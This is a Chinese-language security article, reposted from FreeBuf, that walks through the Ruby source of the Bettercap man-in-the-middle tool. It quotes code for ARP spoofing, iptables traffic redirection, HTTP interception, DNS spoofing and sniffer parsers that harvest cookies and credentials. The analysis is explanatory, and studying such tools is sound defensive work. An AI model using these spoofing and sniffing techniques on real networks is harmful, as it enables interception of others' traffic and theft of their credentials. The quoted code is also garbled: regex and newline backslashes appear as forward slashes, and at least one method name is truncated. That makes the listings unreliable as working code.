MITM渗透工具Bettercap源码分析

2017-03-27 10:21:01来源:http://www.freebuf.com/sectool/130040.html作者:FreeBuf人点击


*原创作者:Elie,本文属Freebuf原创奖励计划,未经许可禁止转载


简介

BetterCAP是一个强大,灵活和可移植的工具,用来为执行各种网络类型的MITM攻击,实时操纵HTTP,HTTPS和TCP流量,嗅探凭据等等。


Bettercap同时是一款采用Ruby编写的开源的软件,我们可以分析源码,来剖析软件的实现。


目录结构
lib/
├── bettercap
│ ├── banner
│ ├── context.rb 核心文件
│ ├── discovery主机发现
│ │ ├── agents
│ │ │ ├── arp.rb
│ │ │ ├── base.rb
│ │ │ ├── icmp.rb
│ │ │ └── udp.rb
│ │ └── thread.rb
│ ├── error.rb
│ ├── firewalls端口重定向
│ │ ├── base.rb
│ │ ├── bsd.rb
│ │ ├── linux.rb
│ │ └── redirection.rb
│ ├── loader.rb
│ ├── logger.rb日志
│ ├── memory.rb
│ ├── monkey对依赖第三方库类的扩充
│ │ ├── celluloid
│ │ │ ├── actor.rb
│ │ │ └── io
│ │ │ └── udp_socket.rb
│ │ ├── em-proxy
│ │ │ └── proxy.rb
│ │ ├── openssl
│ │ │ └── server.rb
│ │ ├── packetfu
│ │ │ ├── pcap.rb
│ │ │ └── utils.rb
│ │ └── system.rb
│ ├── network
│ │ ├── arp_reader.rb
│ │ ├── hw-prefixes
│ │ ├── network.rb
│ │ ├── packet_queue.rb
│ │ ├── protos 实现部分协议,parser(解析器)需要用到
│ │ │ ├── base.rb
│ │ │ ├── dhcp.rb
│ │ │ ├── mysql.rb
│ │ │ ├── ntlm.rb
│ │ │ └── snmp.rb
│ │ ├── servers
│ │ │ ├── dnsd.rbDNS服务
│ │ │ └── httpd.rb
│ │ ├── services
│ │ ├── target.rb
│ │ └── validator.rb
│ ├── options命令行参数解析
│ │ ├── core_options.rb
│ │ ├── options.rb 参数解析
│ │ ├── proxy_options.rb 代理功能参数解析
│ │ ├── server_options.rbserver功能呢参数解析
│ │ ├── sniff_options.rb sniff功能参数解析
│ │ └── spoof_options.rb spoof功能参数解析
│ ├── pluggable.rb 模块基类
│ ├── proxy代理模块实现(数据的拦截及篡改)
│ │ ├── http
│ │ │ ├── module.rb模块(插件)基类
│ │ │ ├── modules
│ │ │ │ ├── injectcss.rb
│ │ │ │ ├── injecthtml.rb
│ │ │ │ └── injectjs.rb注入js代码的模块(插件)
│ │ │ ├── proxy.rb http代理实现
│ │ │ ├── request.rb
│ │ │ ├── response.rb
│ │ │ ├── ssl
│ │ │ │ ├── authority.rb
│ │ │ │ ├── bettercap-ca.pem
│ │ │ │ └── server.rb
│ │ │ ├── sslstrip
│ │ │ │ ├── cookiemonitor.rb
│ │ │ │ ├── lock.ico
│ │ │ │ └── strip.rb
│ │ │ └── streamer.rbhttp代理数据处理
│ │ ├── stream_logger.rb
│ │ ├── tcp
│ │ │ ├── module.rb
│ │ │ └── proxy.rb
│ │ └── thread_pool.rb 线程池
│ ├── shell.rb
│ ├── sniffersniffer功能的实现
│ │ ├── parsers可以解析的数据包类型
│ │ │ ├── base.rb
│ │ │ ├── cookie.rb
│ │ │ ├── creditcard.rb
│ │ │ ├── custom.rb
│ │ │ ├── dhcp.rb
│ │ │ ├── dict.rb
│ │ │ ├── ftp.rb
│ │ │ ├── httpauth.rb
│ │ │ ├── https.rb
│ │ │ ├── irc.rb
│ │ │ ├── mail.rb
│ │ │ ├── mpd.rb
│ │ │ ├── mysql.rb
│ │ │ ├── nntp.rb
│ │ │ ├── ntlmss.rb
│ │ │ ├── pgsql.rb
│ │ │ ├── post.rb
│ │ │ ├── redis.rb
│ │ │ ├── rlogin.rb
│ │ │ ├── snmp.rb
│ │ │ ├── snpp.rb
│ │ │ ├── url.rb
│ │ │ └── whatsapp.rb
│ │ └── sniffer.rb
│ ├── spoofer欺骗功能的实现
│ │ ├── arp.rb
│ │ ├── base.rb
│ │ ├── icmp.rb
│ │ └── none.rb
│ ├── update_checker.rb
│ └── version.rb
└── bettercap.rb
23 directories, 94 files
源码分析
全局介绍


目录结构部分已经注明部分重要的文件以及文件夹的功能。其中lib/bettercap/context.rb
文件中的BetterCap::Context
类为BetterCap的一个核心的单例类。lib/bettercap/options/options.rb
文件中的BetterCap::Options
为命令行参数解析类


入口分析


/bin/bettercap
BetterCap的启动文件输出Banner之后,核心的两行代码


ctx = BetterCap::Options.parse!
ctx.start!


进行解析命令行参数,返回一个BetterCap::Context
的实例,同时调用ctx
这个实例的start!
函数



可以看出程序的核心入口在BetterCap::Context.start!
函数中


lib/bettercap/context.rb


def start!
# Start targets auto discovery.
@discovery.start
# 如果没有指定具体的主机发现,将进行自动主机发现,添加到攻击目标列表中
# Start network spoofers if any.
@spoofer.each do |spoofer|
# 遍历指定的网络欺骗类型,默认ARP
spoofer.start
# 开始对目标列表进行欺骗
end
# Start proxies and setup port redirection.
if @options.proxies.any?
# 有没有配置拦截,或者篡改数据的相关选项
if ( @options.proxies.proxy or @options.proxies.proxy_https ) and @options.sniff.enabled?('URL')
# 如果同时指定的http或者https数据拦截篡改的同时开启了sniff url的功能输入一个警告
BetterCap::Logger.warn "WARNING: Both HTTP transparent proxy and URL parser are enabled, you're gonna see duplicated logs."
end
create_proxies!
# 开始创建代理,用来进行数据包的拦截篡改
end
enable_port_redirection!
# 配置端口重定向,
# 例如实现目标地址为80端口的数据包全部重定向到上面创建的http代理中,实现对数据包的拦截篡改
# 把目标地址为53的数据包,重定向到下面开启的DNS服务中(5300端口)从而实现DNS欺骗
# 等
create_servers!
# 根据命令行参数,创建DNS服务器以及HTTP服务
# Start network sniffer.
if @options.sniff.enabled?
# 是否开启sniff功能呢
Sniffer.start self
# 开始进行Sniffer功能
elsif @options.spoof.enabled? and !@options.proxies.any?
Logger.warn 'WARNING: Sniffer module was NOT enabled ( -X argument ), this '/
'will cause the MITM to run but no data to be collected.'
end
end

可以看到上面6处主要功能


主机发现
网络欺骗
端口重定向(用来实现把所有我们想要拦截篡改的目标端口的数据包重定向到代理端口中)
数据包的拦截和篡改
DNS欺骗
数据包的sniff
主机发现功能的实现

命令参数options.core.discovery默认为true,也就是进行存活主机发现,如果命令行参数中有–no-discovery,则options.core.discovery = false


bin/bettercap


ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb


def initialize
@discovery= Discovery::Thread.new self
end
def start!
@discovery.start # 开始探测存活主机
...
end

lib/bettercap/discovery/thread.rb


module BetterCap
module Discovery
class Thread
def start
@running = true
@thread= ::Thread.new { worker }# 新建一个线程,跑 worker函数,功能是主机发现
if @ctx.options.core.discovery?# 如果开启主机发现,sleep 1.5 秒, 让主机发现线程先跑1.5秒
sleep(1.5)
end
end
def worker
...
prev = []
while @running
# -T 参数指定的目标主机,如果没有指定目标,则进行存活主机发现,存活的主机,全部加入到目标主机
if @ctx.options.core.targets.nil?
@ctx.targets = Network.get_alive_targets(@ctx).sort_by {# 进行存活主机发现
|t| t.sortable_ip
}
end
# 循环中
# 如果当前的目标主机列表@ctx.targets, 与上一次的目标主机列表prev 不同,在命令行打印出来
print_differences( prev ) if @ctx.options.core.discovery?
prev = @ctx.targets # 记录当前目标主机列表
@ctx.memory.optimize!
sleep(1) if @ctx.options.core.discovery?
end
end
end
end
end
end

lib/bettercap/network/network.rb


def get_alive_targets( ctx )
if ctx.options.core.discovery?# 主机发现默认开启
start_agents( ctx )# 发送广播包
end
ArpReader.parse ctx# 读取arp缓存表,获取存活的主机
end
def start_agents( ctx, address = nil )
# 使用 icmp ud arp 三种协议,创建广播包(lib/bettercap/discovery/agents)push进入ctx.packets这个数据包发送列队(BetterCap::Network::PacketQueue)
# 具体过程参考
# lib/bettercap/discovery/agents/base.rb
# lib/bettercap/network/packet_queue.rb
[ 'Icmp', 'Udp', 'Arp' ].each do |name|
BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx, address)
end
# 等待数据包发送列队,把数据包全部发送出去
ctx.packets.wait_empty( ctx.timeout )
end

lib/bettercap/network/arp_reader.rb


module BetterCap
module Network
class ArpReader
def self.parse( ctx )
targets = []
self.parse_cache do |ip,mac|# 解析换从表,传递一个block
if ip != ctx.gateway.ip and ip != ctx.iface.ip
if ctx.options.core.ignore_ip?(ip)
Logger.debug "Ignoring #{ip} ..."
else
# reuse Target object if it's already a known address
known = ctx.find_target ip, mac
if known.nil?
# 发现新的存活主机,扔进数组中
targets << Target.new( ip, mac )
else
targets << known
end
end
end
end
targets # 将新发现的存活主机返回
end
def self.parse_cache
iface = Context.get.iface.name
Shell.arp.split("/n").each do |line|# Shell.arp 就是执行 LANG=en && arp -a -n 参考 lib/bettercap/shell.rb
m = self.parse_cache_line(iface,line) # 正则匹配缓存表每一行
unless m.nil?
ip = m[1]
hw = Target.normalized_mac( m[2] )
if hw != 'FF:FF:FF:FF:FF:FF'
yield( ip, hw ) # call block
end
end
end
end
def self.parse_cache_line( iface, line )
if RUBY_PLATFORM =~ /openbsd/i
/([0-9/.]+)/s+([a-f0-9:]+)/s+#{iface}/s+.*/i.match(line)
else
/[^/s]+/s+/(([0-9/.]+)/)/s+at/s+([a-f0-9:]+).+#{iface}.*/i.match(line)
end
end
end
end
end
网络欺骗功能的实现

命令行参数-S 指定 网络欺骗使用的协议,默认为arp


lib/bettecap/options/spoof_options.rb


def initialize
@spoofer = 'ARP'
@half_duplex = false
@kill= false
end
//可以使用-S指定多个协议
def parse_spoofers
valid = []
@spoofer.split(",").each do |module_name|
valid << Spoofers::Base.get_by_name( module_name )//讲指定spoofer的对象存放到数组并返回
end
valid
end

lib/bettercap/context.rb


@spoofer.each do |spoofer|
spoofer.start //调用spoofer的start函数
end

以ARP协议为例


lib/bettercap/spoofers/arp.rb


def send_spoofed_packet( saddr, smac, daddr, dmac )
pkt = PacketFu::ARPPacket.new
pkt.eth_saddr = smac
pkt.eth_daddr = dmac
pkt.arp_saddr_mac = smac
pkt.arp_daddr_mac = dmac
pkt.arp_saddr_ip = saddr
pkt.arp_daddr_ip = daddr
pkt.arp_opcode = 2//发送arp响应包
@ctx.packets.push(pkt)
end
def start
...
@sniff_thread = Thread.new { arp_watcher }//创建一个线程监听arp广播包
@spoof_thread = Thread.new { arp_spoofer }//
...
end
def arp_watcher
...
sniff_packets('arp') { |pkt|//数据包是一个arp数据包
if is_arp_query?(pkt)//是一个arp请求的数据包
Logger.info "[#{'ARP'.green}] #{pkt.arp_src_ip.to_s} is asking who #{pkt.arp_dst_ip.to_s} is."
send_spoofed_packet pkt.arp_dst_ip.to_s, @ctx.iface.mac, pkt.arp_src_ip.to_s, pkt.arp_src_mac.to_s//发送arp响应包,欺骗原地址主机,目标的IP地址对应的mac,是自己的mac
end
}
end
def arp_spoofer
spoof_loop(1) { |target|
if target.spoofable?
spoof(target)//调用spoof
end
}
end
def spoof( target, restore = false )// restore = true,用户程序停止时,恢复目标主机mac地址表
if restore
//恢复目标主机的网关IP MAC映射关系
send_spoofed_packet( @ctx.gateway.ip, @ctx.gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
//恢复网关的目标主机IP MAC映射关系
send_spoofed_packet( target.ip, target.mac, @ctx.gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.spoof.half_duplex
...
else
//欺骗目标,冒充网关
send_spoofed_packet( @ctx.gateway.ip, @ctx.iface.mac, target.ip, target.mac )
//欺骗网关,冒充目标
send_spoofed_packet( target.ip, @ctx.iface.mac, @ctx.gateway.ip, @ctx.gateway.mac ) unless @ctx.options.spoof.half_duplex
...
end
end
端口转发功能的实现

bin/bettercap


ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb


def start!
rection! # 创建端口转发,拦截数据并转发到代理端口上

lib/bettercap/context.rb


# Apply needed BetterCap::Firewalls::Redirection objects.
def enable_port_redirection!
# 获取需要端口转发的规则
@redirections = @options.get_redirections(@iface)
# 遍历转发规则(Firewalls::Redirection的实例)
@redirections.each do |r|
Logger.debug "Redirecting #{r.protocol} traffic from #{r.src_address.nil? ? '*' : r.src_address}:#{r.src_port} to #{r.dst_address}:#{r.dst_port}"
# 进行端口转发
@firewall.add_port_redirection( r )
end
end

lib/options/options.rb


def get_redirections iface
if @proxies.proxy
redirections << redir( iface.ip, port, @proxies.proxy_port )

lib/options/options.rb


def redir( address, port, to, proto = 'TCP' )
Firewalls::Redirection.new( @core.iface, proto, nil, port, address, to )
end

Firewalls::Redirection的实例即为需要端口转发的规则


lib/bettercap/firewalls/linux.rb


def add_port_redirection( r )
# post route
Shell.execute('iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE')
# accept all
Shell.execute('iptables -P FORWARD ACCEPT')
# add redirection
Shell.execute("iptables -t nat -A PREROUTING -i #{r.interface} -p #{r.protocol} #{r.src_address.nil? ? '' : "-d #{r.src_address}"} --dport #{r.src_port} -j DNAT --to #{r.dst_address}:#{r.dst_port}")
end

将特定端口的所有数据,重定向到代理端口上去


数据包拦截篡改功能的实现

bin/bettercap


ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb


def start!
if @options.proxies.any?
create_proxies!# 创建代理(数据包处理) 默认监听8080端口
end
enable_port_redirection! # 创建端口转发,拦截数据并转发到代理端口上
def create_proxies!
@proxies << Proxy::HTTP::Proxy.new( @iface.ip, @options.proxies.proxy_port, false )
@proxies.each do |proxy|
proxy.start
end

上面以及分析过端口转发功能的实现,只需要创建代理之后,把所有的数据包重定向到我们的代理端口上就可以对数据包进行拦截和篡改


以http代理举例分析



lib/proxy/http/proxy.rb``BetterCap::Proxy::HTTP::Proxy``initialize
函数中 中创建一个线程池@pool
,使用client_worker client
处理数据start
函数中创建代理服务,使用server_thread
函数中IO.select(sockets)
处理每一个发送过来的请求,并发送到线程池@pool << io



client_worker
函数解析http请求,调用@streamer.handle( request, client )``@streamer.handle( request, client )
中获取响应结果后,调用process( request, response )
,来间接调用BetterCap::Proxy::HTTP::Module.modules(--proxy-module hack_title
的on_request
函数来对数据包进行篡改操作,最后调用client.write response.to_s
,向受害者返回响应数据包


从而完成对数据包的拦截和篡改


DNS欺骗功能的实现

bin/bettercap


ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/options/server_options.rb


opts.on( '--dns FILE', 'Enable DNS server and use this file as a hosts resolution table.' ) do |v|
@dnsd= true# 如果参数中配置了 --dns /tmp/hosts.txt, 则设置@dnsd = true
@dnsd_file = File.expand_path v#获取参数文件的绝对路径存放到@dnsd_file
end
opts.on( '--dns-port PORT', "Set DNS server port, default to #{@dnsd_port.to_s.yellow}." ) do |v|
raise BetterCap::Error, "Invalid port '#{v}' specified." unless Network::Validator.is_valid_port?(v)
@dnsd_port = v.to_i# 设置DNS server监听端口
end

lib/bettercap/context.rb


def start!
...
enable_port_redirection!
create_servers!
...
end
def enable_port_redirection!
@redirections = @options.get_redirections(@iface)# 获取端口重定向规则
@redirections.each do |r|
Logger.debug "Redirecting #{r.protocol} traffic from #{r.src_address.nil? ? '*' : r.src_address}:#{r.src_port} to #{r.dst_address}:#{r.dst_port}"
@firewall.add_port_redirection( r )# 依据重定向规则进行端口重定向
end
end
def create_servers!
# Start local DNS server.
if @options.servers.dnsd# 如果使用了--dns 参数,则为true
Logger.warn "Starting DNS server with spoofing disabled, bettercap will only reply to local DNS queries." unless @options.spoof.enabled?
@dnsd = Network::Servers::DNSD.new( @options.servers.dnsd_file, @iface.ip, @options.servers.dnsd_port )# 实例化一个dns服务对象
@dnsd.start # 跑起来服务
end
...
end


端口重定向规则的获取lib/bettercap/options/options.rb


def get_redirections iface
redirections = []
if @servers.dnsd or @proxies.sslstrip?
# 新建转发规则,把目的地址为53的tcp,udp数据包全部重定向到dns server port上,默认为5300
redirections << redir( iface.ip, 53, @servers.dnsd_port )
redirections << redir( iface.ip, 53, @servers.dnsd_port, 'UDP' )
end
...
redirections
end


使用了RubyDNS创建DNS Server,依赖rubydns
gem,具体实现参考RubyDNS
,只分析关键代码lib/bettercap/network/servers/dnsd.rb


options = {# RubyDNS的配置
:listen => @ifaces,
:asynchronous => true,
:server_class => DnsWrapper# 自定义dns解析处理类,方便ob 目标主机的DNS的解析
}
RubyDNS::run_server( options ) do# 使用RubyDNS跑起来一个 DNS Server
@logger.level = ::Logger::ERROR
@upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
# 默认DNS查询处理,使用 8.8.8.8
otherwise do |transaction|
Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
transaction.passthrough!(@upstream)
end
end
unless @hosts.nil?# @hosts 在实例初始化时候赋值,值为@options.servers.dnsd_file, 也就是指定的要进行欺骗的DNS文件路径
DNSD.parse_hosts( @hosts ).each do |exp,addr|# 解析文件, 格式 exp为域名或者匹配域名的正则表达式,addr为解析到的IP地址
add_rule!( exp, addr )# 添加到dns查询规则里面
end
end
def add_rule!( exp, addr )
Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."
block = Proc.new do |transaction|# 创建一个 当前这个dns解析的block
Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
transaction.respond!(addr)
end
DnsWrapper.get.rules << RubyDNS::RuleBasedServer::Rule.new( [ Regexp.new(exp), Resolv::DNS::Resource::IN::A ], block )
# 新建一个RubyDNS::RuleBasedServer::Rule实例,存放到当前DNS Server的规则表中
end

到此为止,当目标机,发送DNS请求,如果查询的域名,存在在我们的dns.txt文件中,或者能够被文件中的域名正则匹配到,就直接使用dns.txt文本中,对应的ip作为dns解析结果进行回应。达到DNS欺骗的目的。


捕获特定数据包的解析

bin/bettercap


ctx = BetterCap::Options.parse!
ctx.start!

lib/bettercap/context.rb


def start!
# Start network sniffer.
if @options.sniff.enabled?
Sniffer.start self #sniff数据包在一个新的线程里面运行
elsif @options.spoof.enabled? and !@options.proxies.any?
#如果同时开启了欺骗的同时开启了代理模式(数据包的篡改)输出一个警告
Logger.warn 'WARNING: Sniffer module was NOT enabled ( -X argument ), this '/
'will cause the MITM to run but no data to be collected.'
end

lib/bettercap/sniff/sniff.rb


def self.start( ctx )
Thread.new {
Logger.debug 'Starting sniffer ...'
setup( ctx )# 创建一个PacketFu::Capture对象,进行网卡监听 @@cap
start = Time.now
skipped = 0
processed = 0
self.stream.each do |raw_packet|#self.stream 即为 @@cap.stream, 遍历监听到的数据包
break unless @@ctx.running#退出循环,如果程序结束
begin
parsed = PacketFu::Packet.parse(raw_packet)#解析数据包,返回响应的Packet子类对象
rescue Exception => e
parsed = nil
end
if skip_packet?(parsed)# 判断是非为目标主机的数据包,如果不是目标数据包,则跳过
skipped += 1
else
processed += 1# 如果是目标主机数据包
append_packet raw_packet# 如果参数设置了数据包记录文件,则将数据包写入到文件中
parse_packet parsed# 解析数据包,关键代码
end
end
stop = Time.now
delta = ( stop - start ) * 1000.0
total = skipped + processed
Logger.info "[#{'SNIFFER'.green}] #{total} packets processed in #{delta} ms ( #{skipped} skipped packets, #{processed} processed packets )"
}
end

lib/bettercap/sniff/sniff.rb


def self.parse_packet( parsed )
# @@parsers 数组,存放要进行数据包类型判断对象
@@parsers.each do |parser|#遍历所有对象
begin
parser.on_packet parsed#对当前数据进行解析判断,如果解析成功,则输出。 关键代码
rescue Exception => e
Logger.exception e
end
end
end

数据包解析类的父类为BetterCap::Parsers::Base数据包解析类都存放在lib/bettercap/sniffer/parsers/文件夹中,支持的解析类型为


➜bettercap git:(master) ✗ ls lib/bettercap/sniffer/parsers
base.rb creditcard.rb dhcp.rb ftp.rbhttps.rbmail.rb mysql.rbntlmss.rb post.rb rlogin.rb snpp.rb whatsapp.rb
cookie.rb custom.rb dict.rb httpauth.rb irc.rbmpd.rbnntp.rb pgsql.rbredis.rbsnmp.rb url.rb


@@parsers的赋值在lib/bettercap/sniff/sniff.rb


#setup( ctx )的时候
def self.setup( ctx )
...
if @@ctx.options.sniff.custom_parser.nil?
# 根据命令行参数,加载置顶的解析类,也就是所有的解析类实例化,存放到@@parsers
@@parsers = Parsers::Base.load_by_names @@ctx.options.sniff.parsers
else
# 命令行自定义解析的正则
@@parsers = Parsers::Base.load_custom @@ctx.options.sniff.custom_parser
end


@@ctx.options.sniff.parsers的由来lib/bettercap/options/sniff_options.rb


# 默认为全部解析器
def initialize
@parsers = ['*']
end
# 或者为指定的一个或多个
opts.on( '-P', '--parsers PARSERS', "Comma separated list of packet parsers to enable, '*' for all ( NOTE: Will set -X to true ), available: #{Parsers::Base.available.map { |x| x.yellow }.join(', ')} - default: #{'*'.yellow}" ) do |v|
@enabled = true
@parsers = Parsers::Base.from_cmdline(v)#根据命令行返回指定的解析器的类名
end


Parsers::Base.load_by_names
函数,实例化指定的解析器类,或者所有的解析器类(除了BetterCap::Parsers::Custom)。



实例化的解析器对象,被依次调用on_packet方法,处理当前的数据包例如lib/bettercap/sniffer/parsers/cookie.rb


module BetterCap
module Parsers
# HTTP cookies parser.
class Cookie < Base
# Cookies to ignore.
FILTER = [ '__cfduid', '_ga', '_gat' ].freeze
def on_packet( pkt )
hostname = nil
cookies = {}
pkt.to_s.split("/n").each do |line|# 匹配HTTP头部的 Host 以及 Cookie
if line =~ /Host:/s*([^/s]+)/i
hostname = $1
elsif line =~ /.*Cookie:/s*(.+)/i
$1.strip.split(';').each do |v|
k, v = v.split('=').map(&:strip)
next if k.nil? or v.nil?
unless k.empty? or v.empty? or FILTER.include?(k)
cookies[k] = v
end
end
end
end
unless hostname.nil? or cookies.empty?# 如果同时匹配到了
StreamLogger.log_raw( pkt, "COOKIE", "[#{hostname.yellow}] #{cookies.map{|k,v| "#{k.green}=#{v.yellow}"}.join('; ')}" )# 输出对应host的cookie
end
end
end
end
end
程序的停止

lib/bettercap


begin
...
ensure
# Make sure all the messages on the logger queue are printed.
BetterCap::Logger.wait!
ctx.finalize unless ctx.nil?
end

lib/bettercap/context.rb


def finalize
@running = false//设置@running之后,很多线程就会停止工作
@discovery.stop //停止主机发现
@spoofer.each do |spoofer|
spoofer.stop //停止spoofer
end
@packets.stop //停止sniff
@proxies.each do |proxy|
proxy.stop //停止代理程序
end
@redirections.each do |r|
@firewall.del_port_redirection( r )//删除本机端口重定向规则
end
@firewall.restore //刷新本纪端口重定向信息
@dnsd.stop unless @dnsd.nil? //停止dnsd
@httpd.stop unless @httpd.nil? //停止httpd
end


*原创作者:Elie,本文属Freebuf原创奖励计划,未经许可禁止转载


最新文章

123

最新摄影

闪念基因

微信扫一扫

第七城市微信公众平台